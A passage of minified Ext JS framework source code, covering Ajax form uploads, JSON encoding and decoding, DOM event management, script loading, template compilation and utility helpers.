k.success.call(k.scope, j, k) } if (k.callback) { k.callback.call(k.scope, k, true, j) } }, handleFailure:function (j, l) { this.transId = false; var k = j.argument.options; j.argument = k ? k.argument : null; this.fireEvent(d, this, j, k, l); if (k.failure) { k.failure.call(k.scope, j, k) } if (k.callback) { k.callback.call(k.scope, k, false, j) } }, doFormUpload:function (q, j, k) { var l = Ext.id(), v = document, r = v.createElement("iframe"), m = Ext.getDom(q.form), u = [], t, p = "multipart/form-data", n = {target:m.target, method:m.method, encoding:m.encoding, enctype:m.enctype, action:m.action}; Ext.fly(r).set({id:l, name:l, cls:"x-hidden", src:Ext.SSL_SECURE_URL}); v.body.appendChild(r); if (Ext.isIE) { document.frames[l].name = l } Ext.fly(m).set({target:l, method:i, enctype:p, encoding:p, action:k || n.action}); Ext.iterate(Ext.urlDecode(j, false), function (w, o) { t = v.createElement("input"); Ext.fly(t).set({type:"hidden", value:o, name:w}); m.appendChild(t); u.push(t) }); function s() { var x = this, w = {responseText:"", responseXML:null, argument:q.argument}, A, z; try { A = r.contentWindow.document || r.contentDocument || g.frames[l].document; if (A) { if (A.body) { if (/textarea/i.test((z = A.body.firstChild || {}).tagName)) { w.responseText = z.value } else { w.responseText = A.body.innerHTML } } w.responseXML = A.XMLDocument || A } } catch (y) { } Ext.EventManager.removeListener(r, c, s, x); x.fireEvent(e, x, w, q); function o(D, C, B) { if (Ext.isFunction(D)) { D.apply(C, B) } } o(q.success, q.scope, [w, q]); o(q.callback, q.scope, [q, true, w]); if (!x.debugUploads) { setTimeout(function () { Ext.removeNode(r) }, 100) } } Ext.EventManager.on(r, c, s, this); m.submit(); Ext.fly(m).set(n); Ext.each(u, function (o) { Ext.removeNode(o) }) }}) })(); Ext.Ajax = new Ext.data.Connection({autoAbort:false, serializeForm:function (a) { return Ext.lib.Ajax.serializeForm(a) }}); Ext.util.JSON = new (function () { var useHasOwn = !!{}.hasOwnProperty, isNative = function () { var useNative = null; return function () { if (useNative === null) { useNative = Ext.USE_NATIVE_JSON && window.JSON && JSON.toString() == "[object JSON]" } return useNative } }(), pad = function (n) { return n < 10 ? "0" + n : n }, doDecode = function (json) { return json ? eval("(" + json + ")") : "" }, doEncode = function (o) { if (!Ext.isDefined(o) || o === null) { return"null" } else { if (Ext.isArray(o)) { return encodeArray(o) } else { if (Ext.isDate(o)) { return Ext.util.JSON.encodeDate(o) } else { if (Ext.isString(o)) { return encodeString(o) } else { if (typeof o == "number") { return isFinite(o) ? String(o) : "null" } else { if (Ext.isBoolean(o)) { return String(o) } else { var a = ["{"], b, i, v; for (i in o) { if (!o.getElementsByTagName) { if (!useHasOwn || o.hasOwnProperty(i)) { v = o[i]; switch (typeof v) { case"undefined": case"function": case"unknown": break; default: if (b) { a.push(",") } a.push(doEncode(i), ":", v === null ? "null" : doEncode(v)); b = true } } } } a.push("}"); return a.join("") } } } } } } }, m = {"\b":"\\b", "\t":"\\t", "\n":"\\n", "\f":"\\f", "\r":"\\r", '"':'\\"', "\\":"\\\\"}, encodeString = function (s) { if (/["\\\x00-\x1f]/.test(s)) { return'"' + s.replace(/([\x00-\x1f\\"])/g, function (a, b) { var c = m[b]; if (c) { return c } c = b.charCodeAt(); return"\\u00" + Math.floor(c / 16).toString(16) + (c % 16).toString(16) }) + '"' } return'"' + s + '"' }, encodeArray = function (o) { var a = ["["], b, i, l = o.length, v; for (i = 0; i < l; i += 1) { v = o[i]; switch (typeof v) { case"undefined": case"function": case"unknown": break; default: if (b) { a.push(",") } a.push(v === null ? "null" : Ext.util.JSON.encode(v)); b = true } } a.push("]"); return a.join("") }; this.encodeDate = function (o) { return'"' + o.getFullYear() + "-" + pad(o.getMonth() + 1) + "-" + pad(o.getDate()) + "T" + pad(o.getHours()) + ":" + pad(o.getMinutes()) + ":" + pad(o.getSeconds()) + '"' }; this.encode = function () { var ec; return function (o) { if (!ec) { ec = isNative() ? JSON.stringify : doEncode } return ec(o) } }(); this.decode = function () { var dc; return function (json) { if (!dc) { dc = isNative() ? JSON.parse : doDecode } return dc(json) } }() })(); Ext.encode = Ext.util.JSON.encode; Ext.decode = Ext.util.JSON.decode; Ext.EventManager = function () { var z, p, j = false, l = Ext.isGecko || Ext.isWebKit || Ext.isSafari, o = Ext.lib.Event, q = Ext.lib.Dom, c = document, A = window, r = "DOMContentLoaded", t = "complete", g = /^(?:scope|delay|buffer|single|stopEvent|preventDefault|stopPropagation|normalized|args|delegate)$/, u = []; function n(E) { var H = false, D = 0, C = u.length, F = false, G; if (E) { if (E.getElementById || E.navigator) { for (; D < C; ++D) { G = u[D]; if (G.el === E) { H = G.id; break } } if (!H) { H = Ext.id(E); u.push({id:H, el:E}); F = true } } else { H = Ext.id(E) } if (!Ext.elCache[H]) { Ext.Element.addToCache(new Ext.Element(E), H); if (F) { Ext.elCache[H].skipGC = true } } } return H } function m(E, G, J, F, D, L) { E = Ext.getDom(E); var C = n(E), K = Ext.elCache[C].events, H; H = o.on(E, G, D); K[G] = K[G] || []; K[G].push([J, D, L, H, F]); if (E.addEventListener && G == "mousewheel") { var I = ["DOMMouseScroll", D, false]; E.addEventListener.apply(E, I); Ext.EventManager.addListener(A, "unload", function () { E.removeEventListener.apply(E, I) }) } if (E == c && G == "mousedown") { Ext.EventManager.stoppedMouseDownEvent.addListener(D) } } function d() { if (window != top) { return false } try { c.documentElement.doScroll("left") } catch (C) { return false } b(); return true } function B(C) { if (Ext.isIE && d()) { return true } if (c.readyState == t) { b(); return true } j || (p = setTimeout(arguments.callee, 2)); return false } var k; function i(C) { k || (k = Ext.query("style, link[rel=stylesheet]")); if (k.length == c.styleSheets.length) { b(); return true } j || (p = setTimeout(arguments.callee, 2)); return false } function y(C) { c.removeEventListener(r, arguments.callee, false); i() } function b(C) { if (!j) { j = true; if (p) { clearTimeout(p) } if (l) { c.removeEventListener(r, b, false) } if (Ext.isIE && B.bindIE) { c.detachEvent("onreadystatechange", B) } o.un(A, "load", arguments.callee) } if (z && !Ext.isReady) { Ext.isReady = true; z.fire(); z.listeners = [] } } function a() { z || (z = new Ext.util.Event()); if (l) { c.addEventListener(r, b, false) } if (Ext.isIE) { if (!B()) { B.bindIE = true; c.attachEvent("onreadystatechange", B) } } else { if (Ext.isOpera) { (c.readyState == t && i()) || c.addEventListener(r, y, false) } else { if (Ext.isWebKit) { B() } } } o.on(A, "load", b) } function x(C, D) { return function () { var E = Ext.toArray(arguments); if (D.target == Ext.EventObject.setEvent(E[0]).target) { C.apply(this, E) } } } function w(D, E, C) { return function (F) { C.delay(E.buffer, D, null, [new Ext.EventObjectImpl(F)]) } } function s(G, F, C, E, D) { return function (H) { Ext.EventManager.removeListener(F, C, E, D); G(H) } } function e(D, E, C) { return function (G) { var F = new Ext.util.DelayedTask(D); if (!C.tasks) { C.tasks = [] } C.tasks.push(F); F.delay(E.delay || 10, D, null, [new Ext.EventObjectImpl(G)]) } } function h(H, G, C, J, K) { var D = (!C || typeof C == "boolean") ? {} : C, E = Ext.getDom(H), F; J = J || D.fn; K = K || D.scope; if (!E) { throw'Error listening for "' + G + '". Element "' + H + "\" doesn't exist." } function I(M) { if (!Ext) { return } M = Ext.EventObject.setEvent(M); var L; if (D.delegate) { if (!(L = M.getTarget(D.delegate, E))) { return } } else { L = M.target } if (D.stopEvent) { M.stopEvent() } if (D.preventDefault) { M.preventDefault() } if (D.stopPropagation) { M.stopPropagation() } if (D.normalized === false) { M = M.browserEvent } J.call(K || E, M, L, D) } if (D.target) { I = x(I, D) } if (D.delay) { I = e(I, D, J) } if (D.single) { I = s(I, E, G, J, K) } if (D.buffer) { F = new Ext.util.DelayedTask(I); I = w(I, D, F) } m(E, G, J, F, I, K); return I } var v = {addListener:function (E, C, G, F, D) { if (typeof C == "object") { var J = C, H, I; for (H in J) { I = J[H]; if (!g.test(H)) { if (Ext.isFunction(I)) { h(E, H, J, I, J.scope) } else { h(E, H, I) } } } } else { h(E, C, D, G, F) } }, removeListener:function (E, I, M, N) { E = Ext.getDom(E); var C = n(E), K = E && (Ext.elCache[C].events)[I] || [], D, H, F, G, J, L; for (H = 0, J = K.length; H < J; H++) { if (Ext.isArray(L = K[H]) && L[0] == M && (!N || L[2] == N)) { if (L[4]) { L[4].cancel() } G = M.tasks && M.tasks.length; if (G) { while (G--) { M.tasks[G].cancel() } delete M.tasks } D = L[1]; o.un(E, I, o.extAdapter ? L[3] : D); if (D && E.addEventListener && I == "mousewheel") { E.removeEventListener("DOMMouseScroll", D, false) } if (D && E == c && I == "mousedown") { Ext.EventManager.stoppedMouseDownEvent.removeListener(D) } K.splice(H, 1); if (K.length === 0) { delete Ext.elCache[C].events[I] } for (G in Ext.elCache[C].events) { return false } Ext.elCache[C].events = {}; return false } } }, removeAll:function (E) { E = Ext.getDom(E); var D = n(E), J = Ext.elCache[D] || {}, M = J.events || {}, I, H, K, F, L, G, C; for (F in M) { if (M.hasOwnProperty(F)) { I = M[F]; for (H = 0, K = I.length; H < K; H++) { L = I[H]; if (L[4]) { L[4].cancel() } if (L[0].tasks && (G = L[0].tasks.length)) { while (G--) { L[0].tasks[G].cancel() } delete L.tasks } C = L[1]; o.un(E, F, o.extAdapter ? L[3] : C); if (E.addEventListener && C && F == "mousewheel") { E.removeEventListener("DOMMouseScroll", C, false) } if (C && E == c && F == "mousedown") { Ext.EventManager.stoppedMouseDownEvent.removeListener(C) } } } } if (Ext.elCache[D]) { Ext.elCache[D].events = {} } }, getListeners:function (F, C) { F = Ext.getDom(F); var H = n(F), D = Ext.elCache[H] || {}, G = D.events || {}, E = []; if (G && G[C]) { return G[C] } else { return null } }, purgeElement:function (E, C, G) { E = Ext.getDom(E); var D = n(E), J = Ext.elCache[D] || {}, K = J.events || {}, F, I, H; if (G) { if (K && K.hasOwnProperty(G)) { I = K[G]; for (F = 0, H = I.length; F < H; F++) { Ext.EventManager.removeListener(E, G, I[F][0]) } } } else { Ext.EventManager.removeAll(E) } if (C && E && E.childNodes) { for (F = 0, H = E.childNodes.length; F < H; F++) { Ext.EventManager.purgeElement(E.childNodes[F], C, G) } } }, _unload:function () { var C; for (C in Ext.elCache) { Ext.EventManager.removeAll(C) } delete Ext.elCache; delete Ext.Element._flyweights; var G, D, F, E = Ext.lib.Ajax; (typeof E.conn == "object") ? D = E.conn : D = {}; for (F in D) { G = D[F]; if (G) { E.abort({conn:G, tId:F}) } } }, onDocumentReady:function (E, D, C) { if (Ext.isReady) { z || (z = new Ext.util.Event()); z.addListener(E, D, C); z.fire(); z.listeners = [] } else { if (!z) { a() } C = C || {}; C.delay = C.delay || 1; z.addListener(E, D, C) } }, fireDocReady:b}; v.on = v.addListener; v.un = v.removeListener; v.stoppedMouseDownEvent = new Ext.util.Event(); return v }(); Ext.onReady = Ext.EventManager.onDocumentReady; (function () { var a = function () { var c = document.body || document.getElementsByTagName("body")[0]; if (!c) { return false } var b = [" ", Ext.isIE ? "ext-ie " + (Ext.isIE6 ? "ext-ie6" : (Ext.isIE7 ? "ext-ie7" : (Ext.isIE8 ? "ext-ie8" : "ext-ie9"))) : Ext.isGecko ? "ext-gecko " + (Ext.isGecko2 ? "ext-gecko2" : "ext-gecko3") : Ext.isOpera ? "ext-opera" : Ext.isWebKit ? "ext-webkit" : ""]; if (Ext.isSafari) { b.push("ext-safari " + (Ext.isSafari2 ? "ext-safari2" : (Ext.isSafari3 ? "ext-safari3" : "ext-safari4"))) } else { if (Ext.isChrome) { b.push("ext-chrome") } } if (Ext.isMac) { b.push("ext-mac") } if (Ext.isLinux) { b.push("ext-linux") } if (Ext.isStrict || Ext.isBorderBox) { var d = c.parentNode; if (d) { if (!Ext.isStrict) { Ext.fly(d, "_internal").addClass("x-quirks"); if (Ext.isIE && !Ext.isStrict) { Ext.isIEQuirks = true } } Ext.fly(d, "_internal").addClass(((Ext.isStrict && Ext.isIE) || (!Ext.enableForcedBoxModel && !Ext.isIE)) ? " ext-strict" : " ext-border-box") } } if (Ext.enableForcedBoxModel && !Ext.isIE) { Ext.isForcedBorderBox = true; b.push("ext-forced-border-box") } Ext.fly(c, "_internal").addClass(b); return true }; if (!a()) { Ext.onReady(a) } })(); (function () { var b = Ext.apply(Ext.supports, {correctRightMargin:true, correctTransparentColor:true, cssFloat:true}); var a = function () { var g = document.createElement("div"), e = document, c, d; g.innerHTML = '
'; e.body.appendChild(g); d = g.lastChild; if ((c = e.defaultView)) { if (c.getComputedStyle(g.firstChild.firstChild, null).marginRight != "0px") { b.correctRightMargin = false } if (c.getComputedStyle(d, null).backgroundColor != "transparent") { b.correctTransparentColor = false } } b.cssFloat = !!d.style.cssFloat; e.body.removeChild(g) }; if (Ext.isReady) { a() } else { Ext.onReady(a) } })(); Ext.EventObject = function () { var b = Ext.lib.Event, c = /(dbl)?click/, a = {3:13, 63234:37, 63235:39, 63232:38, 63233:40, 63276:33, 63277:34, 63272:46, 63273:36, 63275:35}, d = Ext.isIE ? {1:0, 4:1, 2:2} : {0:0, 1:1, 2:2}; Ext.EventObjectImpl = function (g) { if (g) { this.setEvent(g.browserEvent || g) } }; Ext.EventObjectImpl.prototype = {setEvent:function (h) { var g = this; if (h == g || (h && h.browserEvent)) { return h } g.browserEvent = h; if (h) { g.button = h.button ? d[h.button] : (h.which ? h.which - 1 : -1); if (c.test(h.type) && g.button == -1) { g.button = 0 } g.type = h.type; g.shiftKey = h.shiftKey; g.ctrlKey = h.ctrlKey || h.metaKey || false; g.altKey = h.altKey; g.keyCode = h.keyCode; g.charCode = h.charCode; g.target = b.getTarget(h); g.xy = b.getXY(h) } else { g.button = -1; g.shiftKey = false; g.ctrlKey = false; g.altKey = false; g.keyCode = 0; g.charCode = 0; g.target = null; g.xy = [0, 0] } return g }, stopEvent:function () { var e = this; if (e.browserEvent) { if (e.browserEvent.type == "mousedown") { Ext.EventManager.stoppedMouseDownEvent.fire(e) } b.stopEvent(e.browserEvent) } }, preventDefault:function () { if (this.browserEvent) { b.preventDefault(this.browserEvent) } }, stopPropagation:function () { var e = this; if (e.browserEvent) { if (e.browserEvent.type == "mousedown") { Ext.EventManager.stoppedMouseDownEvent.fire(e) } b.stopPropagation(e.browserEvent) } }, getCharCode:function () { return this.charCode || this.keyCode }, getKey:function () { return this.normalizeKey(this.keyCode || this.charCode) }, normalizeKey:function (e) { return Ext.isSafari ? (a[e] || e) : e }, getPageX:function () { return this.xy[0] }, getPageY:function () { return this.xy[1] }, getXY:function () { return this.xy }, getTarget:function (g, h, e) { return g ? Ext.fly(this.target).findParent(g, h, e) : (e ? Ext.get(this.target) : this.target) }, getRelatedTarget:function () { return this.browserEvent ? b.getRelatedTarget(this.browserEvent) : null }, getWheelDelta:function () { var g = this.browserEvent; var h = 0; if (g.wheelDelta) { h = g.wheelDelta / 120 } else { if (g.detail) { h = -g.detail / 3 } } return h }, within:function (h, i, e) { if (h) { var g = this[i ? "getRelatedTarget" : "getTarget"](); return g && ((e ? (g == Ext.getDom(h)) : false) || Ext.fly(h).contains(g)) } return false }}; return new Ext.EventObjectImpl() }(); Ext.Loader = Ext.apply({}, {load:function (j, i, k, c) { var k = k || this, g = document.getElementsByTagName("head")[0], b = document.createDocumentFragment(), a = j.length, h = 0, e = this; var l = function (m) { g.appendChild(e.buildScriptTag(j[m], d)) }; var d = function () { h++; if (a == h && typeof i == "function") { i.call(k) } else { if (c === true) { l(h) } } }; if (c === true) { l.call(this, 0) } else { Ext.each(j, function (n, m) { b.appendChild(this.buildScriptTag(n, d)) }, this); g.appendChild(b) } }, buildScriptTag:function (b, c) { var a = document.createElement("script"); a.type = "text/javascript"; a.src = b; if (a.readyState) { a.onreadystatechange = function () { if (a.readyState == "loaded" || a.readyState == "complete") { a.onreadystatechange = null; c() } } } else { a.onload = c } return a }}); Ext.ns("Ext.grid", "Ext.list", "Ext.dd", "Ext.tree", "Ext.form", "Ext.menu", "Ext.state", "Ext.layout.boxOverflow", "Ext.app", "Ext.ux", "Ext.chart", "Ext.direct", "Ext.slider"); Ext.apply(Ext, function () { var c = Ext, a = 0, b = null; return{emptyFn:function () { }, BLANK_IMAGE_URL:Ext.isIE6 || Ext.isIE7 || Ext.isAir ? "http://www.extjs.com/s.gif" : "data:image/gif;base64,R0lGODlhAQABAID/AMDAwAAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==", extendX:function (d, e) { return Ext.extend(d, e(d.prototype)) }, getDoc:function () { return Ext.get(document) }, num:function (e, d) { e = Number(Ext.isEmpty(e) || Ext.isArray(e) || typeof e == "boolean" || (typeof e == "string" && e.trim().length == 0) ? NaN : e); return isNaN(e) ? d : e }, value:function (g, d, e) { return Ext.isEmpty(g, e) ? d : g }, escapeRe:function (d) { return d.replace(/([-.*+?^${}()|[\]\/\\])/g, "\\$1") }, sequence:function (h, d, g, e) { h[d] = h[d].createSequence(g, e) }, addBehaviors:function (i) { if (!Ext.isReady) { Ext.onReady(function () { Ext.addBehaviors(i) }) } else { var e = {}, h, d, g; for (d in i) { if ((h = d.split("@"))[1]) { g = h[0]; if (!e[g]) { e[g] = Ext.select(g) } e[g].on(h[1], i[d]) } } e = null } }, getScrollBarWidth:function (g) { if (!Ext.isReady) { return 0 } if (g === true || b === null) { var i = Ext.getBody().createChild('
'), h = i.child("div", true); var e = h.offsetWidth; i.setStyle("overflow", (Ext.isWebKit || Ext.isGecko) ? "auto" : "scroll"); var d = h.offsetWidth; i.remove(); b = e - d + 2 } return b }, combine:function () { var g = arguments, e = g.length, j = []; for (var h = 0; h < e; h++) { var d = g[h]; if (Ext.isArray(d)) { j = j.concat(d) } else { if (d.length !== undefined && !d.substr) { j = j.concat(Array.prototype.slice.call(d, 0)) } else { j.push(d) } } } return j }, copyTo:function (d, e, g) { if (typeof g == "string") { g = g.split(/[,;\s]/) } Ext.each(g, function (h) { if (e.hasOwnProperty(h)) { d[h] = e[h] } }, this); return d }, destroy:function () { Ext.each(arguments, function (d) { if (d) { if (Ext.isArray(d)) { this.destroy.apply(this, d) } else { if (typeof d.destroy == "function") { d.destroy() } else { if (d.dom) { d.remove() } } } } }, this) }, destroyMembers:function (l, j, g, h) { for (var k = 1, e = arguments, d = e.length; k < d; k++) { Ext.destroy(l[e[k]]); delete l[e[k]] } }, clean:function (d) { var e = []; Ext.each(d, function (g) { if (!!g) { e.push(g) } }); return e }, unique:function (d) { var e = [], g = {}; Ext.each(d, function (h) { if (!g[h]) { e.push(h) } g[h] = true }); return e }, flatten:function (d) { var g = []; function e(h) { Ext.each(h, function (i) { if (Ext.isArray(i)) { e(i) } else { g.push(i) } }); return g } return e(d) }, min:function (d, e) { var g = d[0]; e = e || function (i, h) { return i < h ? -1 : 1 }; Ext.each(d, function (h) { g = e(g, h) == -1 ? g : h }); return g }, max:function (d, e) { var g = d[0]; e = e || function (i, h) { return i > h ? 1 : -1 }; Ext.each(d, function (h) { g = e(g, h) == 1 ? g : h }); return g }, mean:function (d) { return d.length > 0 ? Ext.sum(d) / d.length : undefined }, sum:function (d) { var e = 0; Ext.each(d, function (g) { e += g }); return e }, partition:function (d, e) { var g = [ [], [] ]; Ext.each(d, function (j, k, h) { g[(e && e(j, k, h)) || (!e && j) ? 0 : 1].push(j) }); return g }, invoke:function (d, e) { var h = [], g = Array.prototype.slice.call(arguments, 2); Ext.each(d, function (j, k) { if (j && typeof j[e] == "function") { h.push(j[e].apply(j, g)) } else { h.push(undefined) } }); return h }, pluck:function (d, g) { var e = []; Ext.each(d, function (h) { e.push(h[g]) }); return e }, zip:function () { var n = Ext.partition(arguments, function (i) { return typeof i != "function" }), k = n[0], m = n[1][0], d = Ext.max(Ext.pluck(k, "length")), h = []; for (var l = 0; l < d; l++) { h[l] = []; if (m) { h[l] = m.apply(m, Ext.pluck(k, l)) } else { for (var g = 0, e = k.length; g < e; g++) { h[l].push(k[g][l]) } } } return h }, getCmp:function (d) { return Ext.ComponentMgr.get(d) }, useShims:c.isIE6 || (c.isMac && c.isGecko2), type:function (e) { if (e === undefined || e === null) { return false } if (e.htmlElement) { return"element" } var d = typeof e; if (d == "object" && e.nodeName) { switch (e.nodeType) { case 1: return"element"; case 3: return(/\S/).test(e.nodeValue) ? "textnode" : "whitespace" } } if (d == "object" || d == "function") { switch (e.constructor) { case Array: return"array"; case RegExp: return"regexp"; case Date: return"date" } if (typeof e.length == "number" && typeof e.item == "function") { return"nodelist" } } return d }, intercept:function (h, d, g, e) { h[d] = h[d].createInterceptor(g, e) }, callback:function (d, h, g, e) { if (typeof d == "function") { if (e) { d.defer(e, h, g || []) } else { d.apply(h, g || []) } } }} }()); Ext.apply(Function.prototype, {createSequence:function (b, a) { var c = this; return(typeof b != "function") ? this : function () { var d = c.apply(this || window, arguments); b.apply(a || this || window, arguments); return d } }}); Ext.applyIf(String, {escape:function (a) { return a.replace(/('|\\)/g, "\\$1") }, leftPad:function (d, b, c) { var a = String(d); if (!c) { c = " " } while (a.length < b) { a = c + a } return a }}); String.prototype.toggle = function (b, a) { return this == b ? a : b }; String.prototype.trim = function () { var a = /^\s+|\s+$/g; return function () { return this.replace(a, "") } }(); Date.prototype.getElapsed = function (a) { return Math.abs((a || new Date()).getTime() - this.getTime()) }; Ext.applyIf(Number.prototype, {constrain:function (b, a) { return Math.min(Math.max(this, b), a) }}); Ext.lib.Dom.getRegion = function (a) { return Ext.lib.Region.getRegion(a) }; Ext.lib.Region = function (d, g, a, c) { var e = this; e.top = d; e[1] = d; e.right = g; e.bottom = a; e.left = c; e[0] = c }; Ext.lib.Region.prototype = {contains:function (b) { var a = this; return(b.left >= a.left && b.right <= a.right && b.top >= a.top && b.bottom <= a.bottom) }, getArea:function () { var a = this; return((a.bottom - a.top) * (a.right - a.left)) }, intersect:function (h) { var g = this, d = Math.max(g.top, h.top), e = Math.min(g.right, h.right), a = Math.min(g.bottom, h.bottom), c = Math.max(g.left, h.left); if (a >= d && e >= c) { return new Ext.lib.Region(d, e, a, c) } }, union:function (h) { var g = this, d = Math.min(g.top, h.top), e = Math.max(g.right, h.right), a = Math.max(g.bottom, h.bottom), c = Math.min(g.left, h.left); return new Ext.lib.Region(d, e, a, c) }, constrainTo:function (b) { var a = this; a.top = a.top.constrain(b.top, b.bottom); a.bottom = a.bottom.constrain(b.top, b.bottom); a.left = a.left.constrain(b.left, b.right); a.right = a.right.constrain(b.left, b.right); return a }, adjust:function (d, c, a, g) { var e = this; e.top += d; e.left += c; e.right += g; e.bottom += a; return e }}; Ext.lib.Region.getRegion = function (e) { var h = Ext.lib.Dom.getXY(e), d = h[1], g = h[0] + e.offsetWidth, a = h[1] + e.offsetHeight, c = h[0]; return new Ext.lib.Region(d, g, a, c) }; Ext.lib.Point = function (a, c) { if (Ext.isArray(a)) { c = a[1]; a = a[0] } var b = this; b.x = b.right = b.left = b[0] = a; b.y = b.top = b.bottom = b[1] = c }; Ext.lib.Point.prototype = new Ext.lib.Region(); Ext.apply(Ext.DomHelper, function () { var e, a = "afterbegin", h = "afterend", i = "beforebegin", d = "beforeend", b = /tag|children|cn|html$/i; function g(m, p, n, q, l, j) { m = Ext.getDom(m); var k; if (e.useDom) { k = c(p, null); if (j) { m.appendChild(k) } else { (l == "firstChild" ? m : m.parentNode).insertBefore(k, m[l] || m) } } else { k = Ext.DomHelper.insertHtml(q, m, Ext.DomHelper.createHtml(p)) } return n ? Ext.get(k, true) : k } function c(j, r) { var k, u = document, p, s, m, t; if (Ext.isArray(j)) { k = u.createDocumentFragment(); for (var q = 0, n = j.length; q < n; q++) { c(j[q], k) } } else { if (typeof j == "string") { k = u.createTextNode(j) } else { k = u.createElement(j.tag || "div"); p = !!k.setAttribute; for (var s in j) { if (!b.test(s)) { m = j[s]; if (s == "cls") { k.className = m } else { if (p) { k.setAttribute(s, m) } else { k[s] = m } } } } Ext.DomHelper.applyStyles(k, j.style); if ((t = j.children || j.cn)) { c(t, k) } else { if (j.html) { k.innerHTML = j.html } } } } if (r) { r.appendChild(k) } return k } e = {createTemplate:function (k) { var j = Ext.DomHelper.createHtml(k); return new Ext.Template(j) }, useDom:false, insertBefore:function (j, l, k) { return g(j, l, k, i) }, insertAfter:function (j, l, k) { return g(j, l, k, h, "nextSibling") }, insertFirst:function (j, l, k) { return g(j, l, k, a, "firstChild") }, append:function (j, l, k) { return g(j, l, k, d, "", true) }, createDom:c}; return e }()); Ext.apply(Ext.Template.prototype, {disableFormats:false, re:/\{([\w\-]+)(?:\:([\w\.]*)(?:\((.*?)?\))?)?\}/g, argsRe:/^\s*['"](.*)["']\s*$/, compileARe:/\\/g, compileBRe:/(\r\n|\n)/g, compileCRe:/'/g, applyTemplate:function (b) { var g = this, a = g.disableFormats !== true, e = Ext.util.Format, c = g; if (g.compiled) { return g.compiled(b) } function d(j, l, p, k) { if (p && a) { if (p.substr(0, 5) == "this.") { return c.call(p.substr(5), b[l], b) } else { if (k) { var o = g.argsRe; k = k.split(","); for (var n = 0, h = k.length; n < h; n++) { k[n] = k[n].replace(o, "$1") } k = [b[l]].concat(k) } else { k = [b[l]] } return e[p].apply(e, k) } } else { return b[l] !== undefined ? b[l] : "" } } return g.html.replace(g.re, d) }, compile:function () { var me = this, fm = Ext.util.Format, useF = me.disableFormats !== true, sep = Ext.isGecko ? "+" : ",", body; function fn(m, name, format, args) { if (format && useF) { args = args ? "," + args : ""; if (format.substr(0, 5) != "this.") { format = "fm." + format + "(" } else { format = 'this.call("' + format.substr(5) + '", '; args = ", values" } } else { args = ""; format = "(values['" + name + "'] == undefined ? '' : " } return"'" + sep + format + "values['" + name + "']" + args + ")" + sep + "'" } if (Ext.isGecko) { body = "this.compiled = function(values){ return '" + me.html.replace(me.compileARe, "\\\\").replace(me.compileBRe, "\\n").replace(me.compileCRe, "\\'").replace(me.re, fn) + "';};" } else { body = ["this.compiled = function(values){ return ['"]; body.push(me.html.replace(me.compileARe, "\\\\").replace(me.compileBRe, "\\n").replace(me.compileCRe, "\\'").replace(me.re, fn)); body.push("'].join('');};"); body = body.join("") } eval(body); return me }, call:function (c, b, a) { return this[c](b, a) }}); Ext.Template.prototype.apply = Ext.Template.prototype.applyTemplate; Ext.util.Functions = {createInterceptor:function (c, b, a) { var d = c; if (!Ext.isFunction(b)) { return c } else { return function () { var g = this, e = arguments; b.target = g; b.method = c; return(b.apply(a || g || window, e) !== false) ? c.apply(g || window, e) : null } } }, createDelegate:function (c, d, b, a) { if (!Ext.isFunction(c)) { return c } return function () { var g = b || arguments; if (a === true) { g = Array.prototype.slice.call(arguments, 0); g = g.concat(b) } else { if (Ext.isNumber(a)) { g = Array.prototype.slice.call(arguments, 0); var e = [a, 0].concat(b); Array.prototype.splice.apply(g, e) } } return c.apply(d || window, g) } }, defer:function (d, c, e, b, a) { d = Ext.util.Functions.createDelegate(d, e, b, a); if (c > 0) { return setTimeout(d, c) } d(); return 0 }, createSequence:function (c, b, a) { if (!Ext.isFunction(b)) { return c } else { return function () { var d = c.apply(this || window, arguments); b.apply(a || this || window, arguments); return d } } }}; Ext.defer = Ext.util.Functions.defer; Ext.createInterceptor = Ext.util.Functions.createInterceptor; Ext.createSequence = Ext.util.Functions.createSequence; Ext.createDelegate = Ext.util.Functions.createDelegate; Ext.apply(Ext.util.Observable.prototype, function () { function a(j) { var i = (this.methodEvents = this.methodEvents || {})[j], d, c, g, h = this; if (!i) { this.methodEvents[j] = i = {}; i.originalFn = this[j]; i.methodName = j; i.before = []; i.after = []; var b = function (l, k, e) { if ((c = l.apply(k || h, e)) !== undefined) { if (typeof c == "object") { if (c.returnValue !== undefined) { d = c.returnValue } else { d = c } g = !!c.cancel } else { if (c === false) { g = true } else { d = c } } } }; this[j] = function () { var l = Array.prototype.slice.call(arguments, 0), k; d = c = undefined; g = false; for (var m = 0, e = i.before.length; m < e; m++) { k = i.before[m]; b(k.fn, k.scope, l); if (g) { return d } } if ((c = i.originalFn.apply(h, l)) !== undefined) { d = c } for (var m = 0, e = i.after.length; m < e; m++) { k = i.after[m]; b(k.fn, k.scope, l); if (g) { return d } } return d } } return i } return{beforeMethod:function (d, c, b) { a.call(this, d).before.push({fn:c, scope:b}) }, afterMethod:function (d, c, b) { a.call(this, d).after.push({fn:c, scope:b}) }, removeMethodListener:function (j, g, d) { var h = this.getMethodEvent(j); for (var c = 0, b = h.before.length; c < b; c++) { if (h.before[c].fn == g && h.before[c].scope == d) { h.before.splice(c, 1); return } } for (var c = 0, b = h.after.length; c < b; c++) { if (h.after[c].fn == g && h.after[c].scope == d) { h.after.splice(c, 1); return } } }, relayEvents:function (j, e) { var h = this; function g(i) { return function () { return h.fireEvent.apply(h, [i].concat(Array.prototype.slice.call(arguments, 0))) } } for (var d = 0, b = e.length; d < b; d++) { var c = e[d]; h.events[c] = h.events[c] || true; j.on(c, g(c), h) } }, enableBubble:function (e) { var g = this; if (!Ext.isEmpty(e)) { e = Ext.isArray(e) ? e : Array.prototype.slice.call(arguments, 0); for (var d = 0, b = e.length; d < b; d++) { var c = e[d]; c = c.toLowerCase(); var h = g.events[c] || true; if (typeof h == "boolean") { h = new Ext.util.Event(g, c); g.events[c] = h } h.bubble = true } } }} }()); Ext.util.Observable.capture = function (c, b, a) { c.fireEvent = c.fireEvent.createInterceptor(b, a) }; Ext.util.Observable.observeClass = function (b, a) { if (b) { if (!b.fireEvent) { Ext.apply(b, new Ext.util.Observable()); Ext.util.Observable.capture(b.prototype, b.fireEvent, b) } if (typeof a == "object") { b.on(a) } return b } }; Ext.apply(Ext.EventManager, function () { var d, k, g, b, a = Ext.lib.Dom, j = /^(?:scope|delay|buffer|single|stopEvent|preventDefault|stopPropagation|normalized|args|delegate)$/, c = Ext.EventManager._unload, i = 0, h = 0, e = Ext.isWebKit ? Ext.num(navigator.userAgent.match(/AppleWebKit\/(\d+)/)[1]) >= 525 : !((Ext.isGecko && !Ext.isWindows) || Ext.isOpera); 